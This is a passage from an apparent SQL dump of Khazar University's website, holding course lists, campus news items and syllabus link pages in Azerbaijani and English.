(MBA)<br></p><p>Economics</p><p>Ecotourism</p><p>Environmental Economics and Policy&nbsp;</p><p>Financial Accounting (MBA)<br></p><p>Financial Management (MBA)<br></p><p>Financial Markets and Institutions (MBA)<br></p><p>Fundamentals of Financial Management (A)&nbsp;<br></p><p>Fundamentals of Financial Management (B)&nbsp;<br></p><p>Fundamentals of Financial Management (C)&nbsp;<br></p><p>Human Resource Management&nbsp;<br></p><p>Insurance&nbsp;<br></p><p>International Marketing&nbsp;<br></p><p>International Management (MBA)<br></p><p>Intermediate Microeconomics&nbsp;<br></p><p>International Trade&nbsp;<br></p><p>Introduction to Economy (A)&nbsp;<br></p><p>Introduction to Economy (B)&nbsp;<br></p><p>Introduction to Economy (C)&nbsp;</p><p>Investment Management&nbsp;<br></p><p>Leadership Principles and Applications&nbsp;<br></p><p>Operations Management and Logistics (MBA)<br></p><p>Managerial Accounting&nbsp;<br></p><p>Managerial Economics (MBA)<br></p><p>Management and Organization (A)&nbsp;<br></p><p>Management and Organization (B)&nbsp;<br></p><p>Management and Organization (C)&nbsp;<br></p><p>Marketing Research&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/economics/Az%C9%99rbaycan_%C4%B0qtisadiyyat%C4%B1_F_Rasulov.pdf\"></a>Principles of Accounting (A)</p><p>Principles of Accounting (B)&nbsp;</p><p>Principles of Accounting (C)</p><p>Principles of Marketing (A)&nbsp;<br></p><p>Principles of Marketing (B)&nbsp;<br></p><p>Principles of Marketing (C)&nbsp;<br></p><p>Principles of Microeconomics (A)&nbsp;<br></p><p>Principles of Microeconomics (B)&nbsp;<br></p><p>Principles of Microeconomics (C)&nbsp;<br></p><p>Principles of Taxation (A)&nbsp;<br></p><p>Principles of Taxation (B)&nbsp;<br></p><p>Principles of Tourism&nbsp;<br></p><p>Production and Operations Management&nbsp;<br></p><p>Project Management Framework (MBA)<br></p><p>Public Finance&nbsp;<br></p><p>Research Methods (MBA)<br></p><p>Statistical Methods for Economics and Business&nbsp;<br></p><p>Strategic Business Communications (MBA)<br></p><p>Taxation (MBA)<br></p><p>Tourism Transportation Systems&nbsp;<br></p><p>World Economy&nbsp;</p><p><br></p>'),(4099,2392,'az','“Xəzər”in tələbələri işlə təmin olundular','Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin 4 tələbəsi Fərid İsrafilov, Asif Həsənli, Fərid Əmiraslanlı və Nəzrin Babaşova 2017-ci ilin mayında “Encotec” şirkətində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin 4 tələbəsi\r\nFərid İsrafilov, Asif Həsənli, Fərid Əmiraslanlı və Nəzrin Babaşova 2017-ci\r\nilin mayında “Encotec” şirkətində 2 həftəlik təlimdən sonra işə götürülmüşdür. “Encotec”\r\nşirkəti 2001-ci ildə Faiq Rzayev tərəfindən təsis edilib və yaxşı idarə olunan çoxsahəli mühəndis-layihələşdirmə\r\nşirkətidir. Şirkət əsasən Azərbaycanın neft və qaz sənayesinə texniki layihələşdirmə\r\nxidmətlərini, layihələrin idarə edilməsi, quraşdırma və istismara vermə işlərini\r\ntəmin edir.&nbsp;</p>'),(6076,3466,'az','Tarix və arxeologiya departamentinin müəlliminin məqaləsi Türk Tarix Qurumunun toplusunda','2018-ci il sentyabrın 27-də Türk Tarix Qurumu XVII Türk Tarix Konqresinin məruzələr kitabını nəşr etmişdir...','<p>2018-ci il sentyabrın 27-də Türk Tarix Qurumu XVII Türk Tarix Konqresinin məruzələr kitabını nəşr etmişdir. Kitabda Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlının həmmüəllifi olduğu məqalə də yer almışdır. Araz Aslanlının İzmirdəki 9 Eylül Universitetinin müəllimi Vefa Kurban ilə birgə yazdığı “Mustafa Kamalın vəfatı Azərbaycan mətbuatında” adı məqalədə əvvəlcə həmin dövrdəki Sovet-Türk münasibətləri qısaca təhlil edilmişdir. Daha sonra isə Azərbaycanda nəşr olunan qəzetlərin Türkiyə Cümhuriyyətinin qurucusu Mustafa Kamal Atatürkün vəfatını öz səhifələrində necə əks etdirdikləri araşdırılmışdır.</p>'),(5357,3099,'az','“Təşkilat mədəniyyətini necə gücləndirməli?” adlı seminar oldu','2018-ci il aprelin 6-da Xəzər Universitetinin Psixologiya departamenti və Xəzər Psixoloji...','<p>2018-ci il aprelin 6-da Xəzər Universitetinin Psixologiya departamenti və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə Psixologiya departamentinin rəhbəri Ülkər İsayeva tələbələrlə “Təşkilat mədəniyyətini necə gücləndirməli?” adlı mövzuda görüş keçirdi. Ülkər İsayeva seminarda təşkilatçılıq mədəniyyətinin bir çox psixoloji və sosial məqamlarına toxunaraq qərb ölkələrində istifadə edilən təşkilat metodlarının Azərbaycanda tətbiqinə aid maraqlı nümunələr üzərində durdu.</p><p>Tədbir iştirakçıların böyük marağına səbəb oldu. Onu da qeyd etmək lazımdır ki, Ülkər İsayeva hazırda Turkiyənin Koç Universitetinin sosial və təşkilat psixologiya ixtisası üzrə PhD təhsilini davam etdirir.</p>'),(5358,3099,'en','Workshop “How to reinforce organizational culture?”','On April 6, 2018, Ulkar Isayeva, head of Department of Psychology, held a workshop...','<p>On April 6, 2018, Ulkar Isayeva, head of Department of Psychology, held a workshop on “How to reinforce organizational culture?”, with the support of the Department of Psychology and Khazar Psychological Service Centre. Ulkar Isayeva talked about psychological and social aspects of organizational culture and referred to cases in which the experience of Western countries is applied in Azerbaijan.</p><p>Participants highly appreciated the workshop. Currently, Ulkar Isayeva is a PhD student in Social and Organizational Psychology at Koç University, Turkey.</p>'),(5359,3100,'az','Elmi Şuranın növbəti iclası','2018-ci il aprelin 13-də Xəzər Universiteti Elmi Şurasının növbəti iclası keçirildi...','<p>2018-ci il aprelin 13-də Xəzər Universiteti Elmi Şurasının növbəti iclası keçirildi. Universitetin rektoru Hassan Niknafsın sədrliyi ilə keçən iclasda Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov, Təhsil fakültəsinin dekanı Elza Səmədova, Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Vəfa Aslanova məzunlar haqqında məlumatı təqdim etdilər.</p><p>Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev doktorant və dissertantların dissertasiya mövzusu, elmi rəhbərlərinin təsdiqi və ixtisaslarının dəyişdirilməsi haqqında məlumat verdi.</p><p>Elmi işlər üzrə prorektor İradə Xəlilovanın dərs vəsaitlərinin və fənn proqramlarının çapa təqdim olunması, elmi adların verilməsi haqqında məlumatı dinlənildi.</p><p>Müzakirə olunan məsələlər haqqında müvafiq qərarlar qəbul edildi.</p><p>İclasda cari məsələlər haqqında da fikir mübadiləsi aparıldı.</p>'),(3443,2024,'az','Sillabuslar','Sillabuslar','<h3><strong>Yaz 2018</strong></h3><p><a href=\"http://www.khazar.org/files/azelang_depart/mad%203%20%C4%B0lah%C9%99%20Qurbanova%20%20sillabus%202017.docx\"></a><a href=\"http://www.khazar.org/files/azelang_depart/Azerb_dili_(A)-Qetibe_Mahmudova.pdf\">Azərbaycan dili Qətibə Mahmudova</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_Reyhan_Medetova.pdf\">Azərbaycan dili Reyhan Mədətova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD_4_Reyhan_Medetova.pdf\">Müasir Azərbaycan dili -4 Reyhan Mədətova</a></p><p> <a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_tarixi_2_Vur%C4%9Fun_Eyyub.pdf\">Azərbaycan ədəbiyyatı tarix -2 Vurğun Əyyub</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_T%C3%BCnzale_Seyfullayeva.pdf\">Azərbaycan dili Tünzalə Seyfullayeva</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_Sevinc_A%C4%9Fayev_(Humanitar).pdf\">Azərbaycan dili Sevinc Ağayeva (</a><a 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Yusifova (Təhsil)</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan%20edebiyyat%C4%B1_1_Yusifova_Xatire_(%C4%B0qtisadiyyat).pdf\">Azərbaycan ədəbiyyatı -1 Xatirə Yusifova (İqtisadiyyat və Menecment)</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_2_Reyhan_Medetova.pdf\">Azərbaycan dili -2 Reyhan Mədətova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dilinin_tarixi_qrammatikas%C4%B1_Reyhan_Medetova.pdf\">Azərbaycan dilinin tarixi qrammatikası Reyhan Mədətova<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_Elmira_Memmedova_Keke%C3%A7.pdf\">Azərbaycan dili  Elmira Məmmədova-Kekeç<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/D%C3%BCnya_edebiyyat%C4%B1_2_Qarda%C5%9Fxan_Ezizxanl%C4%B1.pdf\">Dünya ədəbiyyatı -2 Qardaşxan Əzizxanlı<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat_tarixi_6_Dilber_Zeynalova.pdf\">Azərbaycan ədəbiyyat tarixi -6 Dilbər Zeynalova<br></a></p>\r\n<p><a href=\"http://www.khazar.org/files/azelang_depart/M%C3%BCasir_Azerbaycan_dramaturgiyas%C4%B1_Dilber_Zeynalova.pdf\">Müasir Azərbaycan dramaturgiyası Dilbər Zeynalova<br></a></p>\r\n<p><a href=\"http://www.khazar.org/files/azelang_depart/Onomastika_Qetib%C9%99_Quliyeva.pdf\">Onomastika (Azərbaycan dilinin onomologiyası) Qətibə Quliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_tarixi_4_Vur%C4%9Fun_Eyyub.pdf\">Azərbaycan ədəbiyyatı tarixi -4 Vurğun Əyyub</a>  <br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebi_dili_tarixi_Q%C9%99tibe_Quliyeva.pdf\">Azərbaycan ədəbi dili tarixi Qətibə Quliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD_2_Qetibe_Mahmudova.pdf\">Müasir Azərbaycan Dili -2 Qətibə Mahmudova</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaijani_Language%20_for_Foreigners_Vefa_Aslanova.pdf\">Azərbaycan dili Vəfa Aslanova (Mühəndislik və tətbiqi elmlər)</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_1_Aynur_Qezenferq%C4%B1z%C4%B1.pdf\">Azərbaycan ədəbiyyatı -1 Aynur Qəzənfərqızı (Humanitar və Sosial Elmlər)</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Nitq_medeniyyeti_Esmer_Yusifzade.pdf\">Nitq mədəniyyətinin Əsasları Əsmər Yusifzadə</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Comparative_grammar_of_turkish_dialects_Elza_Semedova.pdf\">Türk ləhcələrinin müqayisəli qrammatikası Elza Səmədova</a><br></p><h3><strong>Payız&nbsp;2017&nbsp;</strong><a href=\"http://www.khazar.org/files/education/Muasir_Azerbaycan_dili_Sevinj_Agayeva.docx\" style=\"box-sizing:border-box;color:#337ab7;text-decoration:none\">&nbsp;</a></h3><div><br></div><p><a href=\"http://www.khazar.org/files/azelang_depart/Az.dili%20%20Sillabist%20Reyhan%20xan%C4%B1m.docx\">Sillabus&nbsp;Azərbaycan dili Reyhan Mədətova 2017&nbsp;Payız  </a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD%201sillabus%202017%20Reyhan%20xan%C4%B1m.docx\">Sillabus&nbsp;Müasir Azərbaycan dili 1 Reyhan Mədətova 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Mad%203%20sillabus%202017%20Reyhan%20xan%C4%B1m.docx\">Sillabus&nbsp;Müasir Azərbaycan   &nbsp;dili 3 Reyhan Mədətova 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20%C9%99d%C9%99biyyat%C4%B1%201%20sillabist%20Dilb%C9%99r%20Zeynalova.docx\">Sillabus&nbsp;Azərbaycan ədəbiyyatı 1 Dilbər Zeynalova 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20edebiyyat%C4%B1%202-Dilb%C9%99r%20xan%C4%B1m.docx\">Sillabus&nbsp;Azərbaycan ədəbiyyatı 2 Dilbər Zeynalova 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20edeb-tarixi%205%20Dilb%C9%99r%20xan%C4%B1m.docx\">Sillabus&nbsp;Azərbaycan ədəbiyyatı tarixi 5 Dilbər Zeynalova 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Vurgun.%20Az.ed.1(sillabus%202017%20payiz).DOCX\">Sillabus&nbsp;Azərbaycan ədəbiyyatı tarixi 1 Vurğun Əyyub 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Vurgun.Az.ed.3(%20sillabus%2C%202017%20payiz).DOCX\">Sillabus&nbsp;Azərbaycan ədəbiyyatı tarixi 3 Vurğun Əyyub 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/sillabus%20d%C3%BCnya%20u%C5%9Faq%20%C9%99d%C9%99biyyat%C4%B1%20-%20Elmira%20M%C9%99mm%C9%99dova-Keke%C3%A7.doc\">Sillabus&nbsp;Dünya uşaq ədəbiyyatı Elmira Məmmədova-Kekeç 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/%C5%9E%C9%99rq%20dill%C9%99ri%20m%C3%BChitind%C9%99%20Az%C9%99rbaycan%20%C9%99d%C9%99biyyat%C4%B1%20-%20Elmira%20M%C9%99mm%C9%99dova-Keke%C3%A7.docx\">Sillabus&nbsp;Şərq dilləri mühitində Azərbaycan ədəbiyyatı Elmira Məmmədova-Kekeç 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD-I%20sillabst%202017%20%C4%B0lah%C9%99%20Qurbanova.docx\">Sillabus&nbsp;Müasir Azərbaycan dili 1 İlahə Qurbanova 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/mad%203%20%C4%B0lah%C9%99%20Qurbanova%20%20sillabus%202017.docx\">Sillabus&nbsp;Müasir Azərbaycan dili 3 İlahə Qurbanova 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/dil%C3%A7iliyin%20esaslari%20Sillabist%20%C4%B0lah%C9%99%20Qurbanova.docx\">Sillabus&nbsp;Dilçiliyin əsasları İlahə Qurbanova 2017 Payız</a></p><p><a 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href=\"http://www.khazar.org/files/azelang_depart/Eski%20elifba.%20Ziv%C9%99r%20xan%C4%B1m.docx\">Sillabus&nbsp;Əski Əlifba Zivər Hüseynli-Baylan 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/M%C3%BChacir%C9%99t%20%C9%99d%C9%99biyyat%C4%B1%20slabus.docx\">Sillabus Mühacirət ədəbiyyatı Tünzalə Seyfullayeva 2017 Payız</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Dilb%C9%99r%20xan%C4%B1m%20m%C3%BCasir%20%20%C9%99d%C9%99bi%20estetik%20c%C9%99r%C9%99yanlar2017.docx\">Sillabus&nbsp;Müasir ədəbi cərəyanlar Dilbər Zeynalova 2017 Payız</a></p><p><a href=\"/files/azelang_depart/MAD%201sillabus%20X%C6%8FZ%C6%8FR.doc\">Sillabus Müasir Azərbaycan dili I&nbsp;Qətibə Mahmudova 2017 Payız</a></p><p><a href=\"/files/azelang_depart/morfolojik%20analiz%202017.doc\">Sillabus Morfoloji təhlil&nbsp;Qətibə Mahmudova 2017 Payız  </a></p><p><a href=\"/files/azelang_depart/fonologiya.doc\">Sillabus Fonologiya&nbsp;Qətibə Mahmudova 2017 Payız  </a></p>'),(3444,2024,'en','Syllabus','Syllabus','<h3>Spring 2018</h3><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerb_dili_(A)-Qetibe_Mahmudova.pdf\">Azerbaijani language (A)</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerb_dili_(A)-Qetibe_Mahmudova.pdf\"></a><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_Reyhan_Medetova.pdf\">Azərbaycan dili Reyhan Mədətova</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD_4_Reyhan_Medetova.pdf\">Müasir Azərbaycan dili -4 Reyhan Mədətova</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_tarixi_2_Vur%C4%9Fun_Eyyub.pdf\">Azərbaycan ədəbiyyatı tarix -2 Vurğun Əyyub</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_T%C3%BCnzale_Seyfullayeva.pdf\">Azərbaycan dili Tünzalə Seyfullayeva</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_Sevinc_A%C4%9Fayev_(Humanitar).pdf\">Azərbaycan dili Sevinc Ağayeva (</a><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\"></a><a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">Humanities and Social Sciences</a>)<br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Edebiyyat_nezeriyyesi_Dilber_Zeynalova.pdf\">Ədəbiyyat nəzəriyyəsi&nbsp;Dilbər Zeynalova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD_2_Reyhan_Medetova.pdf\">Müasir Azərbaycan dili&nbsp;-2 Reyhan Mədətova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD_2_%C4%B0lahe_Qurbanl%C4%B1.pdf\">Müasir Azərbaycan dili -2 İlahə Qurbanlı</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_1_Yusifova_Xatire_(Humanitar).pdf\">Azərbaycan ədəbiyyatı -1 Xatirə Yusifova (</a><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\"></a><a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">Humanities and Social Sciences</a>)<br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_1_Yusifova_Xatire_(tehsil).pdf\">Azərbaycan ədəbiyyatı -1 Xatirə Yusifova (Education)</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan%20edebiyyat%C4%B1_1_Yusifova_Xatire_(%C4%B0qtisadiyyat).pdf\">Azərbaycan ədəbiyyatı -1 Xatirə Yusifova (Economics and Management)</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_2_Reyhan_Medetova.pdf\">Azərbaycan dili -2 Reyhan Mədətova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dilinin_tarixi_qrammatikas%C4%B1_Reyhan_Medetova.pdf\">Azərbaycan dilinin tarixi qrammatikası Reyhan Mədətova<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_dili_Elmira_Memmedova_Keke%C3%A7.pdf\">Azərbaycan dili Elmira Məmmədova-Kekeç<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/D%C3%BCnya_edebiyyat%C4%B1_2_Qarda%C5%9Fxan_Ezizxanl%C4%B1.pdf\">Dünya ədəbiyyatı -2 Qardaşxan Əzizxanlı<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat_tarixi_6_Dilber_Zeynalova.pdf\">Azərbaycan ədəbiyyat tarixi -6 Dilbər Zeynalova<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/M%C3%BCasir_Azerbaycan_dramaturgiyas%C4%B1_Dilber_Zeynalova.pdf\">Müasir Azərbaycan dramaturgiyası Dilbər Zeynalova<br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Onomastika_Qetib%C9%99_Quliyeva.pdf\">Onomastika (Azərbaycan dilinin onomologiyası) Qətibə Quliyeva</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_tarixi_4_Vur%C4%9Fun_Eyyub.pdf\">Azərbaycan ədəbiyyatı tarixi -4 Vurğun Əyyub</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebi_dili_tarixi_Q%C9%99tibe_Quliyeva.pdf\">Azərbaycan ədəbi dili tarixi Qətibə Quliyeva</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD_2_Qetibe_Mahmudova.pdf\">Müasir Azərbaycan Dili -2 Qətibə Mahmudova  <br></a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaijani_Language%20_for_Foreigners_Vefa_Aslanova.pdf\">Azerbaijani Language for Foreigners Vafa Aslanova</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Azerbaycan_edebiyyat%C4%B1_1_Aynur_Qezenferq%C4%B1z%C4%B1.pdf\">Azərbaycan ədəbiyyatı -1 Aynur Qəzənfərqızı (Humanities and Social Sciences</a>)<br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Nitq_medeniyyeti_Esmer_Yusifzade.pdf\">Nitq mədəniyyətinin Əsasları Əsmər Yusifzadə </a> <br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Comparative_grammar_of_turkish_dialects_Elza_Semedova.pdf\">Türk ləhcələrinin müqayisəli qrammatikası Elza Səmədova </a> <br></p><h3><span style=\"font-weight:normal\">Fall 2017</span></h3><p><a href=\"http://www.khazar.org/files/azelang_depart/Az.dili%20%20Sillabist%20Reyhan%20xan%C4%B1m.docx\">Sillabus Azerbaijani language 1 Reyhan Madatova Fall&nbsp;2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD%201sillabus%202017%20Reyhan%20xan%C4%B1m.docx\">Sillabus Modern Azerbaijani Literature 1 Reyhan Madatova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Mad%203%20sillabus%202017%20Reyhan%20xan%C4%B1m.docx\">Sillabus Modern Azerbaijani language 3 Reyhan Madatova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20%C9%99d%C9%99biyyat%C4%B1%201%20sillabist%20Dilb%C9%99r%20Zeynalova.docx\">Sillabus Azerbaijani literature 1 Dilbar Zeynalova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20edebiyyat%C4%B1%202-Dilb%C9%99r%20xan%C4%B1m.docx\">Sillabus Azerbaijani literature 2 Dilbar Zeynalova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20edeb-tarixi%205%20Dilb%C9%99r%20xan%C4%B1m.docx\">Sillabus History of&nbsp;&nbsp;Azerbaijani literature 5 Dilbar Zeynalova&nbsp;Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Vurgun.%20Az.ed.1(sillabus%202017%20payiz).DOCX\">Sillabus History of Azerbaijani Literature 1Vurgun Eyyub Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Vurgun.Az.ed.3(%20sillabus%2C%202017%20payiz).DOCX\">Sillabus History of Azerbaijani literature 3 Vurgun Eyyub Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/%C5%9E%C9%99rq%20dill%C9%99ri%20m%C3%BChitind%C9%99%20Az%C9%99rbaycan%20%C9%99d%C9%99biyyat%C4%B1%20-%20Elmira%20M%C9%99mm%C9%99dova-Keke%C3%A7.docx\">Sillabus Enviroment of Eastern language and Azerbaijani literature Elmira Mammadova-Kekeç Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/sillabus%20d%C3%BCnya%20u%C5%9Faq%20%C9%99d%C9%99biyyat%C4%B1%20-%20Elmira%20M%C9%99mm%C9%99dova-Keke%C3%A7.doc\">Sillabus World children literature Elmira Mammadova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD-I%20sillabst%202017%20%C4%B0lah%C9%99%20Qurbanova.docx\">Sillabus Modern Azerbaijani language 1 Ilaha&nbsp;Qurbanova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/mad%203%20%C4%B0lah%C9%99%20Qurbanova%20%20sillabus%202017.docx\">Sillabus Modern Azerbaijani language 3 Ilaha&nbsp;Qurbanova&nbsp;Fall 2017&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/dil%C3%A7iliyin%20esaslari%20Sillabist%20%C4%B0lah%C9%99%20Qurbanova.docx\">Sillabus Fundamentals of linguistics Ilaha&nbsp;Qurbanova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Turkologiyaya%20giris%20sillabus%202017.docx\">Sillabus Introduction to&nbsp;Turcology Ilaha&nbsp;Qurbanova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20dili%201%20sillabist%20A%20ve%20B%20Sevinc%20xan%C4%B1m.docx\">Sillabus Azerbaijani language Sevinc Agayeva Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Az%C9%99rbaycan%20%C9%99d%C9%99biyyat%C4%B1-1%20sillabist%20Xatir%C9%99%20Yusfova.docx\">Sillabus Azerbaijani literature 1 Khatira&nbsp;Yusifova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/%C6%8Fski%20%C9%99lifba%20Xatir%C9%99%20Yusifova.docx\">Sillabus Old Alphabet Khatira&nbsp;Yusifova Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/d%C3%BCnya%20%C9%99d.-1%2C%20D%C9%99rs%20c%C9%99dv%C9%99li-2017-son%20variant.docx\">Sillabis World literature Gardashkhan Ezizkhanli Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Eski%20elifba.%20Ziv%C9%99r%20xan%C4%B1m.docx\">Sillabus Old Alphebet Zivar Huseynli-Baylan Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/M%C3%BChacir%C9%99t%20%C9%99d%C9%99biyyat%C4%B1%20slabus.docx\">Sillabus İmmigrant literature Tunzala Seyfullayeva Fall 2017</a></p><p><a href=\"http://www.khazar.org/files/azelang_depart/Dilb%C9%99r%20xan%C4%B1m%20m%C3%BCasir%20%20%C9%99d%C9%99bi%20estetik%20c%C9%99r%C9%99yanlar2017.docx\">Sillabus Modern Literary Movements&nbsp;Dilbar Zeynalova Fall 2017</a><br></p><p><a href=\"http://www.khazar.org/files/azelang_depart/MAD%201sillabus%20X%C6%8FZ%C6%8FR.doc\">Sillabus Modern Azerbaijani language-1&nbsp;Gatiba&nbsp;Mahmudova Fall&nbsp;2017</a></p><p><a href=\"/files/azelang_depart/morfolojik%20analiz%202017.doc\">Sillabus Morphological analyses Gatiba Mahmudova Fall 2017</a><a href=\"http://www.khazar.org/files/azelang_depart/morfolojik%20analiz%202017.doc\"></a></p><p><a href=\"/files/azelang_depart/fonologiya.doc\">Sillabus Phonology Gatiba Mahmudova Fall 2017</a><a href=\"http://www.khazar.org/files/azelang_depart/fonologiya.doc\"></a></p>'),(3445,2025,'az','Sillabuslar','Sillabuslar','<h3><strong>Yaz&nbsp;2018</strong></h3><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/Qida_Z%C9%99h%C9%99rl%C9%99nm%C9%99l%C9%99ri_v%C9%99_t%C9%99hl%C3%BCk%C9%99sizliyi_Ayt%C9%99kin_H%C9%99s%C9%99nova.pdf\">Qida zəhərlənmələri və&nbsp;təhlükəsizliyi</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/LifeScience_H%C3%BCseynC%C9%99f%C9%99rov_Humanitar.pdf\">Life Science&nbsp;–&nbsp;Humanities and Social Sciences</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/LifeScience_H%C3%BCseynC%C9%99f%C9%99rov_T%C9%99hsil.pdf\">Life Science&nbsp;– Education</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/BOTANIKA_Gulafat_Shafiyeva.pdf\">Botanika - 1</a></p><p><strong><br></strong></p><h3><strong>Payız&nbsp;2017&nbsp;</strong></h3>  \r\n<p><a href=\"http://www.khazar.org/files/biolog_depart/Biochemistry.pdf\">Biokimya – Təhsil</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/Bioinformatics.pdf\">Bioinformatika – Təhsil</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/Ecology%20and%20Evolutionary%20%20Biology.pdf\">Ekologiya və Təkamül təlimi – Təhsil</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/General%20Biology.pdf\">Ümumi Biologya&nbsp;– Təhsil</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/Plant%20Physiology.pdf\">Bitki Fiziologiyası&nbsp;– Təhsil</a></p><p><a 